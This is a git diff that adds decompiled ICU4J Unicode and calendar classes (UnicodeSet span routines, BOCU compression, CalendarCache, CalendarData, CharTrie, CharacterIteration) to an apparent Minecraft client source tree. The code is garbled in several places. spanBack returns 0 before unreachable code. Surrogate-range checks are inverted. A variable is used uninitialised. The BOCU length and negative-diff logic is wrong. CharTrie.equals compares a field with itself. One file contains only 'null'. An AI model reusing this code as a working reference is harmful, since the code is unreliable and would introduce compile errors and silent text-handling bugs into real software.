+      } else { char c2;
+        if ((c < 55296) || (c >= 56320) || (i + 1 == limit) || ((c2 = s.charAt(i + 1)) < 56320) || (c2 >= 57344))
+        {
+          int lead = c >> '\f';
+          int twoBits = bmpBlockBits[(c >> '\006' & 0x3F)] >> lead & 0x10001;
+          if (twoBits <= 1 ? 
+          
+
+            twoBits != 0 : 
+            
+
+
+
+            containsSlow(c, list4kStarts[lead], list4kStarts[(lead + 1)])) {
+            break;
+          }
+        }
+        else {
+          char c2;
+          int supplementary = UCharacterProperty.getRawSupplementary(c, c2);
+          if (containsSlow(supplementary, list4kStarts[16], list4kStarts[17])) {
+            break;
+          }
+          i++;
+        } }
+      i++;
+    }
+    
+    return i - start;
+  }
+  
+
+
+
+
+
+
+
+
+  public final int spanBack(CharSequence s, int limit, UnicodeSet.SpanCondition spanCondition)
+  {
+    limit = Math.min(s.length(), limit);
+    if (UnicodeSet.SpanCondition.NOT_CONTAINED != spanCondition)
+    {
+      do {
+        char c = s.charAt(--limit);
+        if (c <= 'ÿ') {
+          if (latin1Contains[c] == 0) {
+            break;
+          }
+        } else if (c <= '߿') {
+          if ((table7FF[(c & 0x3F)] & 1 << (c >> '\006')) == 0)
+            break;
+        } else { char c2;
+          if ((c < 55296) || (c < 56320) || (0 == limit) || ((c2 = s.charAt(limit - 1)) < 55296) || (c2 >= 56320))
+          {
+            int lead = c >> '\f';
+            int twoBits = bmpBlockBits[(c >> '\006' & 0x3F)] >> lead & 0x10001;
+            if (twoBits <= 1 ? 
+            
+
+              twoBits == 0 : 
+              
+
+
+
+              !containsSlow(c, list4kStarts[lead], list4kStarts[(lead + 1)])) {
+              break;
+            }
+          }
+          else {
+            char c2;
+            int supplementary = UCharacterProperty.getRawSupplementary(c2, c);
+            if (!containsSlow(supplementary, list4kStarts[16], list4kStarts[17])) {
+              break;
+            }
+            limit--;
+          }
+        } } while (0 != limit);
+      return 0;
+    }
+    
+
+    do
+    {
+      char c = s.charAt(--limit);
+      if (c <= 'ÿ') {
+        if (latin1Contains[c] != 0) {
+          break;
+        }
+      } else if (c <= '߿') {
+        if ((table7FF[(c & 0x3F)] & 1 << (c >> '\006')) != 0)
+          break;
+      } else { char c2;
+        if ((c < 55296) || (c < 56320) || (0 == limit) || ((c2 = s.charAt(limit - 1)) < 55296) || (c2 >= 56320))
+        {
+          int lead = c >> '\f';
+          int twoBits = bmpBlockBits[(c >> '\006' & 0x3F)] >> lead & 0x10001;
+          if (twoBits <= 1 ? 
+          
+
+            twoBits != 0 : 
+            
+
+
+
+            containsSlow(c, list4kStarts[lead], list4kStarts[(lead + 1)])) {
+            break;
+          }
+        }
+        else {
+          char c2;
+          int supplementary = UCharacterProperty.getRawSupplementary(c2, c);
+          if (containsSlow(supplementary, list4kStarts[16], list4kStarts[17])) {
+            break;
+          }
+          limit--;
+        }
+      } } while (0 != limit);
+    return 0;
+    
+
+
+    return limit + 1;
+  }
+  
+
+
+  private static void set32x64Bits(int[] table, int start, int limit)
+  {
+    assert (64 == table.length);
+    int lead = start >> 6;
+    int trail = start & 0x3F;
+    
+
+    int bits = 1 << lead;
+    if (start + 1 == limit) {
+      table[trail] |= bits;
+      return;
+    }
+    
+    int limitLead = limit >> 6;
+    int limitTrail = limit & 0x3F;
+    
+    if (lead == limitLead)
+    {
+      while (trail < limitTrail) {
+        table[(trail++)] |= bits;
+      }
+    }
+    
+
+
+    if (trail > 0) {
+      do {
+        table[(trail++)] |= bits;
+      } while (trail < 64);
+      lead++;
+    }
+    if (lead < limitLead) {
+      bits = (1 << lead) - 1 ^ 0xFFFFFFFF;
+      if (limitLead < 32) {
+        bits &= (1 << limitLead) - 1;
+      }
+      for (trail = 0; trail < 64; trail++) {
+        table[trail] |= bits;
+      }
+    }
+    
+
+
+
+    bits = 1 << limitLead;
+    for (trail = 0; trail < limitTrail; trail++) {
+      table[trail] |= bits;
+    }
+  }
+  
+
+  private void initBits()
+  {
+    int listIndex = 0;
+    int start;
+    int limit;
+    do {
+      start = list[(listIndex++)];
+      int limit; if (listIndex < listLength) {
+        limit = list[(listIndex++)];
+      } else {
+        limit = 1114112;
+      }
+      if (start >= 256) {
+        break;
+      }
+      do {
+        latin1Contains[(start++)] = true;
+      } while ((start < limit) && (start < 256));
+    } while (limit <= 256);
+    
+
+    while (start < 2048) {
+      set32x64Bits(table7FF, start, limit <= 2048 ? limit : 2048);
+      if (limit > 2048) {
+        start = 2048;
+        break;
+      }
+      
+      start = list[(listIndex++)];
+      if (listIndex < listLength) {
+        limit = list[(listIndex++)];
+      } else {
+        limit = 1114112;
+      }
+    }
+    
+
+    int minStart = 2048;
+    while (start < 65536) {
+      if (limit > 65536) {
+        limit = 65536;
+      }
+      
+      if (start < minStart) {
+        start = minStart;
+      }
+      if (start < limit) {
+        if (0 != (start & 0x3F))
+        {
+          start >>= 6;
+          bmpBlockBits[(start & 0x3F)] |= 65537 << (start >> 6);
+          start = start + 1 << 6;
+          minStart = start;
+        }
+        if (start < limit) {
+          if (start < (limit & 0xFFFFFFC0))
+          {
+            set32x64Bits(bmpBlockBits, start >> 6, limit >> 6);
+          }
+          
+          if (0 != (limit & 0x3F))
+          {
+            limit >>= 6;
+            bmpBlockBits[(limit & 0x3F)] |= 65537 << (limit >> 6);
+            limit = limit + 1 << 6;
+            minStart = limit;
+          }
+        }
+      }
+      
+      if (limit == 65536) {
+        break;
+      }
+      
+      start = list[(listIndex++)];
+      if (listIndex < listLength) {
+        limit = list[(listIndex++)];
+      } else {
+        limit = 1114112;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int findCodePoint(int c, int lo, int hi)
+  {
+    if (c < list[lo]) {
+      return lo;
+    }
+    
+    if ((lo >= hi) || (c >= list[(hi - 1)])) {
+      return hi;
+    }
+    for (;;)
+    {
+      int i = lo + hi >>> 1;
+      if (i == lo)
+        break;
+      if (c < list[i]) {
+        hi = i;
+      } else {
+        lo = i;
+      }
+    }
+    return hi;
+  }
+  
+  private final boolean containsSlow(int c, int lo, int hi) {
+    return 0 != (findCodePoint(c, lo, hi) & 0x1);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/BOCU.java b/src/minecraft/com/ibm/icu/impl/BOCU.java
new file mode 100644
index 0000000..7296087
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/BOCU.java
@@ -0,0 +1,376 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UCharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BOCU
+{
+  private static final int SLOPE_MIN_ = 3;
+  private static final int SLOPE_MAX_ = 255;
+  private static final int SLOPE_MIDDLE_ = 129;
+  private static final int SLOPE_TAIL_COUNT_ = 253;
+  private static final int SLOPE_SINGLE_ = 80;
+  private static final int SLOPE_LEAD_2_ = 42;
+  private static final int SLOPE_LEAD_3_ = 3;
+  private static final int SLOPE_REACH_POS_1_ = 80;
+  private static final int SLOPE_REACH_NEG_1_ = -80;
+  private static final int SLOPE_REACH_POS_2_ = 10667;
+  private static final int SLOPE_REACH_NEG_2_ = -10668;
+  private static final int SLOPE_REACH_POS_3_ = 192785;
+  private static final int SLOPE_REACH_NEG_3_ = -192786;
+  private static final int SLOPE_START_POS_2_ = 210;
+  private static final int SLOPE_START_POS_3_ = 252;
+  private static final int SLOPE_START_NEG_2_ = 49;
+  private static final int SLOPE_START_NEG_3_ = 7;
+  
+  public static int compress(String source, byte[] buffer, int offset)
+  {
+    int prev = 0;
+    UCharacterIterator iterator = UCharacterIterator.getInstance(source);
+    int codepoint = iterator.nextCodePoint();
+    while (codepoint != -1) {
+      if ((prev < 19968) || (prev >= 40960)) {
+        prev = (prev & 0xFFFFFF80) - -80;
+
+      }
+      else
+      {
+        prev = 30292;
+      }
+      
+      offset = writeDiff(codepoint - prev, buffer, offset);
+      prev = codepoint;
+      codepoint = iterator.nextCodePoint();
+    }
+    return offset;
+  }
+  
+
+
+
+
+
+
+  public static int getCompressionLength(String source)
+  {
+    int prev = 0;
+    int result = 0;
+    UCharacterIterator iterator = UCharacterIterator.getInstance(source);
+    int codepoint = iterator.nextCodePoint();
+    while (codepoint != -1) {
+      if ((prev < 19968) || (prev >= 40960)) {
+        prev = (prev & 0xFFFFFF80) - -80;
+
+      }
+      else
+      {
+        prev = 30292;
+      }
+      
+      codepoint = iterator.nextCodePoint();
+      result += lengthOfDiff(codepoint - prev);
+      prev = codepoint;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private BOCU() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final long getNegDivMod(int number, int factor)
+  {
+    int modulo = number % factor;
+    long result = number / factor;
+    if (modulo < 0) {
+      result -= 1L;
+      modulo += factor;
+    }
+    return result << 32 | modulo;
+  }
+  
+
+
+
+
+
+
+
+
+  private static final int writeDiff(int diff, byte[] buffer, int offset)
+  {
+    if (diff >= -80) {
+      if (diff <= 80) {
+        buffer[(offset++)] = ((byte)(129 + diff));
+      }
+      else if (diff <= 10667) {
+        buffer[(offset++)] = ((byte)(210 + diff / 253));
+        
+        buffer[(offset++)] = ((byte)(3 + diff % 253));
+
+      }
+      else if (diff <= 192785) {
+        buffer[(offset + 2)] = ((byte)(3 + diff % 253));
+        
+        diff /= 253;
+        buffer[(offset + 1)] = ((byte)(3 + diff % 253));
+        
+        buffer[offset] = ((byte)(252 + diff / 253));
+        
+        offset += 3;
+      }
+      else {
+        buffer[(offset + 3)] = ((byte)(3 + diff % 253));
+        
+        diff /= 253;
+        buffer[offset] = ((byte)(3 + diff % 253));
+        
+        diff /= 253;
+        buffer[(offset + 1)] = ((byte)(3 + diff % 253));
+        
+        buffer[offset] = -1;
+        offset += 4;
+      }
+    }
+    else {
+      long division = getNegDivMod(diff, 253);
+      int modulo = (int)division;
+      if (diff >= 54868) {
+        diff = (int)(division >> 32);
+        buffer[(offset++)] = ((byte)(49 + diff));
+        buffer[(offset++)] = ((byte)(3 + modulo));
+      }
+      else if (diff >= -192786) {
+        buffer[(offset + 2)] = ((byte)(3 + modulo));
+        diff = (int)(division >> 32);
+        division = getNegDivMod(diff, 253);
+        modulo = (int)division;
+        diff = (int)(division >> 32);
+        buffer[(offset + 1)] = ((byte)(3 + modulo));
+        buffer[offset] = ((byte)(7 + diff));
+        offset += 3;
+      }
+      else {
+        buffer[(offset + 3)] = ((byte)(3 + modulo));
+        diff = (int)(division >> 32);
+        division = getNegDivMod(diff, 253);
+        modulo = (int)division;
+        diff = (int)(division >> 32);
+        buffer[(offset + 2)] = ((byte)(3 + modulo));
+        division = getNegDivMod(diff, 253);
+        modulo = (int)division;
+        buffer[(offset + 1)] = ((byte)(3 + modulo));
+        buffer[offset] = 3;
+        offset += 4;
+      }
+    }
+    return offset;
+  }
+  
+
+
+
+
+  private static final int lengthOfDiff(int diff)
+  {
+    if (diff >= -80) {
+      if (diff <= 80) {
+        return 1;
+      }
+      if (diff <= 10667) {
+        return 2;
+      }
+      if (diff <= 192785) {
+        return 3;
+      }
+      
+      return 4;
+    }
+    
+
+    if (diff >= 54868) {
+      return 2;
+    }
+    if (diff >= -192786) {
+      return 3;
+    }
+    
+    return 4;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CacheBase.java b/src/minecraft/com/ibm/icu/impl/CacheBase.java
new file mode 100644
index 0000000..dd2e74e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CacheBase.java
@@ -0,0 +1,10 @@
+package com.ibm.icu.impl;
+
+public abstract class CacheBase<K, V, D>
+{
+  public CacheBase() {}
+  
+  public abstract V getInstance(K paramK, D paramD);
+  
+  protected abstract V createInstance(K paramK, D paramD);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CalendarAstronomer.java b/src/minecraft/com/ibm/icu/impl/CalendarAstronomer.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CalendarAstronomer.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/ibm/icu/impl/CalendarCache.java b/src/minecraft/com/ibm/icu/impl/CalendarCache.java
new file mode 100644
index 0000000..2182a70
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CalendarCache.java
@@ -0,0 +1,126 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+
+
+
+
+
+
+
+public class CalendarCache
+{
+  public CalendarCache()
+  {
+    makeArrays(arraySize);
+  }
+  
+  private void makeArrays(int newSize) {
+    keys = new long[newSize];
+    values = new long[newSize];
+    
+    for (int i = 0; i < newSize; i++) {
+      values[i] = EMPTY;
+    }
+    arraySize = newSize;
+    threshold = ((int)(arraySize * 0.75D));
+    size = 0;
+  }
+  
+
+
+  public synchronized long get(long key)
+  {
+    return values[findIndex(key)];
+  }
+  
+
+
+
+  public synchronized void put(long key, long value)
+  {
+    if (size >= threshold) {
+      rehash();
+    }
+    int index = findIndex(key);
+    
+    keys[index] = key;
+    values[index] = value;
+    size += 1;
+  }
+  
+  private final int findIndex(long key) {
+    int index = hash(key);
+    int delta = 0;
+    
+    while ((values[index] != EMPTY) && (keys[index] != key))
+    {
+      if (delta == 0) {
+        delta = hash2(key);
+      }
+      index = (index + delta) % arraySize;
+    }
+    return index;
+  }
+  
+  private void rehash()
+  {
+    int oldSize = arraySize;
+    long[] oldKeys = keys;
+    long[] oldValues = values;
+    
+    if (pIndex < primes.length - 1) {
+      arraySize = primes[(++pIndex)];
+    } else {
+      arraySize = (arraySize * 2 + 1);
+    }
+    size = 0;
+    
+    makeArrays(arraySize);
+    for (int i = 0; i < oldSize; i++) {
+      if (oldValues[i] != EMPTY) {
+        put(oldKeys[i], oldValues[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  private final int hash(long key)
+  {
+    int h = (int)((key * 15821L + 1L) % arraySize);
+    if (h < 0) {
+      h += arraySize;
+    }
+    return h;
+  }
+  
+  private final int hash2(long key) {
+    return arraySize - 2 - (int)(key % (arraySize - 2));
+  }
+  
+  private static final int[] primes = { 61, 127, 509, 1021, 2039, 4093, 8191, 16381, 32749, 65521, 131071, 262139 };
+  
+
+
+
+  private int pIndex = 0;
+  private int size = 0;
+  private int arraySize = primes[pIndex];
+  private int threshold = arraySize * 3 / 4;
+  
+  private long[] keys = new long[arraySize];
+  private long[] values = new long[arraySize];
+  
+
+
+
+  public static long EMPTY = Long.MIN_VALUE;
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CalendarData.java b/src/minecraft/com/ibm/icu/impl/CalendarData.java
new file mode 100644
index 0000000..3bb1810
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CalendarData.java
@@ -0,0 +1,186 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.util.ArrayList;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+public class CalendarData
+{
+  private ICUResourceBundle fBundle;
+  private String fMainType;
+  private String fFallbackType;
+  
+  public CalendarData(ULocale loc, String type)
+  {
+    this((ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", loc), type);
+  }
+  
+  public CalendarData(ICUResourceBundle b, String type) {
+    fBundle = b;
+    if ((type == null) || (type.equals("")) || (type.equals("gregorian"))) {
+      fMainType = "gregorian";
+      fFallbackType = null;
+    } else {
+      fMainType = type;
+      fFallbackType = "gregorian";
+    }
+  }
+  
+
+
+
+
+  public ICUResourceBundle get(String key)
+  {
+    try
+    {
+      return fBundle.getWithFallback("calendar/" + fMainType + "/" + key);
+    } catch (MissingResourceException m) {
+      if (fFallbackType != null) {
+        return fBundle.getWithFallback("calendar/" + fFallbackType + "/" + key);
+      }
+      throw m;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ICUResourceBundle get(String key, String subKey)
+  {
+    try
+    {
+      return fBundle.getWithFallback("calendar/" + fMainType + "/" + key + "/format/" + subKey);
+    } catch (MissingResourceException m) {
+      if (fFallbackType != null) {
+        return fBundle.getWithFallback("calendar/" + fFallbackType + "/" + key + "/format/" + subKey);
+      }
+      throw m;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ICUResourceBundle get(String key, String contextKey, String subKey)
+  {
+    try
+    {
+      return fBundle.getWithFallback("calendar/" + fMainType + "/" + key + "/" + contextKey + "/" + subKey);
+    } catch (MissingResourceException m) {
+      if (fFallbackType != null) {
+        return fBundle.getWithFallback("calendar/" + fFallbackType + "/" + key + "/" + contextKey + "/" + subKey);
+      }
+      throw m;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ICUResourceBundle get(String key, String set, String contextKey, String subKey)
+  {
+    try
+    {
+      return fBundle.getWithFallback("calendar/" + fMainType + "/" + key + "/" + set + "/" + contextKey + "/" + subKey);
+    } catch (MissingResourceException m) {
+      if (fFallbackType != null) {
+        return fBundle.getWithFallback("calendar/" + fFallbackType + "/" + key + "/" + set + "/" + contextKey + "/" + subKey);
+      }
+      throw m;
+    }
+  }
+  
+  public String[] getStringArray(String key)
+  {
+    return get(key).getStringArray();
+  }
+  
+  public String[] getStringArray(String key, String subKey) {
+    return get(key, subKey).getStringArray();
+  }
+  
+
+  public String[] getStringArray(String key, String contextKey, String subKey) { return get(key, contextKey, subKey).getStringArray(); }
+  
+  public String[] getEras(String subkey) {
+    ICUResourceBundle bundle = get("eras/" + subkey);
+    return bundle.getStringArray();
+  }
+  
+  public String[] getDateTimePatterns() { ICUResourceBundle bundle = get("DateTimePatterns");
+    ArrayList<String> list = new ArrayList();
+    UResourceBundleIterator iter = bundle.getIterator();
+    while (iter.hasNext()) {
+      UResourceBundle patResource = iter.next();
+      int resourceType = patResource.getType();
+      switch (resourceType) {
+      case 0: 
+        list.add(patResource.getString());
+        break;
+      case 8: 
+        String[] items = patResource.getStringArray();
+        list.add(items[0]);
+      }
+      
+    }
+    
+    return (String[])list.toArray(new String[list.size()]);
+  }
+  
+  public String[] getOverrides() {
+    ICUResourceBundle bundle = get("DateTimePatterns");
+    ArrayList<String> list = new ArrayList();
+    UResourceBundleIterator iter = bundle.getIterator();
+    while (iter.hasNext()) {
+      UResourceBundle patResource = iter.next();
+      int resourceType = patResource.getType();
+      switch (resourceType) {
+      case 0: 
+        list.add(null);
+        break;
+      case 8: 
+        String[] items = patResource.getStringArray();
+        list.add(items[1]);
+      }
+      
+    }
+    return (String[])list.toArray(new String[list.size()]);
+  }
+  
+  public ULocale getULocale() {
+    return fBundle.getULocale();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CalendarUtil.java b/src/minecraft/com/ibm/icu/impl/CalendarUtil.java
new file mode 100644
index 0000000..04146f4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CalendarUtil.java
@@ -0,0 +1,100 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CalendarUtil
+{
+  private static ICUCache<String, String> CALTYPE_CACHE = new SimpleCache();
+  
+
+  private static final String CALKEY = "calendar";
+  
+
+  private static final String DEFCAL = "gregorian";
+  
+
+  public CalendarUtil() {}
+  
+
+  public static String getCalendarType(ULocale loc)
+  {
+    String calType = null;
+    
+    calType = loc.getKeywordValue("calendar");
+    if (calType != null) {
+      return calType;
+    }
+    
+    String baseLoc = loc.getBaseName();
+    
+
+    calType = (String)CALTYPE_CACHE.get(baseLoc);
+    if (calType != null) {
+      return calType;
+    }
+    
+
+    ULocale canonical = ULocale.createCanonical(loc.toString());
+    calType = canonical.getKeywordValue("calendar");
+    
+    if (calType == null)
+    {
+
+      String region = canonical.getCountry();
+      if (region.length() == 0) {
+        ULocale fullLoc = ULocale.addLikelySubtags(canonical);
+        region = fullLoc.getCountry();
+      }
+      
+
+      try
+      {
+        UResourceBundle rb = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "supplementalData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+        
+
+
+        UResourceBundle calPref = rb.get("calendarPreferenceData");
+        UResourceBundle order = null;
+        try {
+          order = calPref.get(region);
+        }
+        catch (MissingResourceException mre) {
+          order = calPref.get("001");
+        }
+        
+        calType = order.getString(0);
+      }
+      catch (MissingResourceException mre) {}
+      
+
+      if (calType == null)
+      {
+        calType = "gregorian";
+      }
+    }
+    
+
+    CALTYPE_CACHE.put(baseLoc, calType);
+    
+    return calType;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CharTrie.java b/src/minecraft/com/ibm/icu/impl/CharTrie.java
new file mode 100644
index 0000000..36765c6
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CharTrie.java
@@ -0,0 +1,303 @@
+package com.ibm.icu.impl;
+
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CharTrie
+  extends Trie
+{
+  private char m_initialValue_;
+  private char[] m_data_;
+  
+  public CharTrie(InputStream inputStream, Trie.DataManipulate dataManipulate)
+    throws IOException
+  {
+    super(inputStream, dataManipulate);
+    
+    if (!isCharTrie()) {
+      throw new IllegalArgumentException("Data given does not belong to a char trie.");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CharTrie(int initialValue, int leadUnitValue, Trie.DataManipulate dataManipulate)
+  {
+    super(new char['ࠠ'], 512, dataManipulate);
+    
+
+
+    int latin1Length;
+    
+
+
+    int dataLength = latin1Length = 'Ā';
+    if (leadUnitValue != initialValue) {
+      dataLength += 32;
+    }
+    m_data_ = new char[dataLength];
+    m_dataLength_ = dataLength;
+    
+    m_initialValue_ = ((char)initialValue);
+    
+
+
+
+
+
+    for (int i = 0; i < latin1Length; i++) {
+      m_data_[i] = ((char)initialValue);
+    }
+    
+    if (leadUnitValue != initialValue)
+    {
+      char block = (char)(latin1Length >> 2);
+      i = 1728;
+      int limit = 1760;
+      for (; i < limit; i++) {
+        m_index_[i] = block;
+      }
+      
+
+      limit = latin1Length + 32;
+      for (i = latin1Length; i < limit; i++) {
+        m_data_[i] = ((char)leadUnitValue);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final char getCodePointValue(int ch)
+  {
+    if ((0 <= ch) && (ch < 55296))
+    {
+      int offset = (m_index_[(ch >> 5)] << '\002') + (ch & 0x1F);
+      
+      return m_data_[offset];
+    }
+    
+
+    int offset = getCodePointOffset(ch);
+    
+
+
+    return offset >= 0 ? m_data_[offset] : m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final char getLeadValue(char ch)
+  {
+    return m_data_[getLeadOffset(ch)];
+  }
+  
+
+
+
+
+
+
+
+  public final char getBMPValue(char ch)
+  {
+    return m_data_[getBMPOffset(ch)];
+  }
+  
+
+
+
+
+
+  public final char getSurrogateValue(char lead, char trail)
+  {
+    int offset = getSurrogateOffset(lead, trail);
+    if (offset > 0) {
+      return m_data_[offset];
+    }
+    return m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final char getTrailValue(int leadvalue, char trail)
+  {
+    if (m_dataManipulate_ == null) {
+      throw new NullPointerException("The field DataManipulate in this Trie is null");
+    }
+    
+    int offset = m_dataManipulate_.getFoldingOffset(leadvalue);
+    if (offset > 0) {
+      return m_data_[getRawOffset(offset, (char)(trail & 0x3FF))];
+    }
+    
+    return m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+  public final char getLatin1LinearValue(char ch)
+  {
+    return m_data_[(32 + m_dataOffset_ + ch)];
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    boolean result = super.equals(other);
+    if ((result) && ((other instanceof CharTrie))) {
+      CharTrie othertrie = (CharTrie)other;
+      return m_initialValue_ == m_initialValue_;
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected final void unserialize(InputStream inputStream)
+    throws IOException
+  {
+    DataInputStream input = new DataInputStream(inputStream);
+    int indexDataLength = m_dataOffset_ + m_dataLength_;
+    m_index_ = new char[indexDataLength];
+    for (int i = 0; i < indexDataLength; i++) {
+      m_index_[i] = input.readChar();
+    }
+    m_data_ = m_index_;
+    m_initialValue_ = m_data_[m_dataOffset_];
+  }
+  
+
+
+
+
+
+
+  protected final int getSurrogateOffset(char lead, char trail)
+  {
+    if (m_dataManipulate_ == null) {
+      throw new NullPointerException("The field DataManipulate in this Trie is null");
+    }
+    
+
+
+    int offset = m_dataManipulate_.getFoldingOffset(getLeadValue(lead));
+    
+
+    if (offset > 0) {
+      return getRawOffset(offset, (char)(trail & 0x3FF));
+    }
+    
+
+
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  protected final int getValue(int index)
+  {
+    return m_data_[index];
+  }
+  
+
+
+
+
+  protected final int getInitialValue()
+  {
+    return m_initialValue_;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CharacterIteration.java b/src/minecraft/com/ibm/icu/impl/CharacterIteration.java
new file mode 100644
index 0000000..a14e168
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CharacterIteration.java
@@ -0,0 +1,125 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CharacterIteration
+{
+  public static final int DONE32 = Integer.MAX_VALUE;
+  
+  private CharacterIteration() {}
+  
+  public static int next32(CharacterIterator ci)
+  {
+    int c = ci.current();
+    if ((c >= 55296) && (c <= 56319)) {
+      c = ci.next();
+      if ((c < 56320) || (c > 57343)) {
+        c = ci.previous();
+      }
+    }
+    
+
+    c = ci.next();
+    
+
+
+    if (c >= 55296) {
+      c = nextTrail32(ci, c);
+    }
+    
+    if ((c >= 65536) && (c != Integer.MAX_VALUE))
+    {
+
+      ci.previous();
+    }
+    return c;
+  }
+  
+
+
+
+
+
+
+
+  public static int nextTrail32(CharacterIterator ci, int lead)
+  {
+    if ((lead == 65535) && (ci.getIndex() >= ci.getEndIndex())) {
+      return Integer.MAX_VALUE;
+    }
+    int retVal = lead;
+    if (lead <= 56319) {
+      char cTrail = ci.next();
+      if (UTF16.isTrailSurrogate(cTrail)) {
+        retVal = (lead - 55296 << 10) + (cTrail - 56320) + 65536;
+      }
+      else
+      {
+        ci.previous();
+      }
+    }
+    return retVal;
+  }
+  
+  public static int previous32(CharacterIterator ci) {
+    if (ci.getIndex() <= ci.getBeginIndex()) {
+      return Integer.MAX_VALUE;
+    }
+    char trail = ci.previous();
+    int retVal = trail;
+    if ((UTF16.isTrailSurrogate(trail)) && (ci.getIndex() > ci.getBeginIndex())) {
+      char lead = ci.previous();
+      if (UTF16.isLeadSurrogate(lead)) {
+        retVal = (lead - 55296 << 10) + (trail - 56320) + 65536;
+      }
+      else
+      {
+        ci.next();
+      }
+    }
+    return retVal;
+  }
+  
+  public static int current32(CharacterIterator ci) {
+    char lead = ci.current();
+    int retVal = lead;
+    if (retVal < 55296) {
+      return retVal;
+    }
+    if (UTF16.isLeadSurrogate(lead)) {
+      int trail = ci.next();
+      ci.previous();
+      if (UTF16.isTrailSurrogate((char)trail)) {
+        retVal = (lead - 55296 << 10) + (trail - 56320) + 65536;
+      }
+      
+
+    }
+    else if ((lead == 65535) && 
+      (ci.getIndex() >= ci.getEndIndex())) {
+      retVal = Integer.MAX_VALUE;
+    }
+    
+
+    return retVal;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CharacterIteratorWrapper.java b/src/minecraft/com/ibm/icu/impl/CharacterIteratorWrapper.java
new file mode 100644
index 0000000..de6ef2f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CharacterIteratorWrapper.java
@@ -0,0 +1,148 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UCharacterIterator;
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CharacterIteratorWrapper
+  extends UCharacterIterator
+{
+  private CharacterIterator iterator;
+  
+  public CharacterIteratorWrapper(CharacterIterator iter)
+  {
+    if (iter == null) {
+      throw new IllegalArgumentException();
+    }
+    iterator = iter;
+  }
+  
+
+
+  public int current()
+  {
+    int c = iterator.current();
+    if (c == 65535) {
+      return -1;
+    }
+    return c;
+  }
+  
+
+
+  public int getLength()
+  {
+    return iterator.getEndIndex() - iterator.getBeginIndex();
+  }
+  
+
+
+  public int getIndex()
+  {
+    return iterator.getIndex();
+  }
+  
+
+
+  public int next()
+  {
+    int i = iterator.current();
+    iterator.next();
+    if (i == 65535) {
+      return -1;
+    }
+    return i;
+  }
+  
+
+
+  public int previous()
+  {
+    int i = iterator.previous();
+    if (i == 65535) {
+      return -1;
+    }
+    return i;
+  }
+  
+
+  public void setIndex(int index)
+  {
+    try
+    {
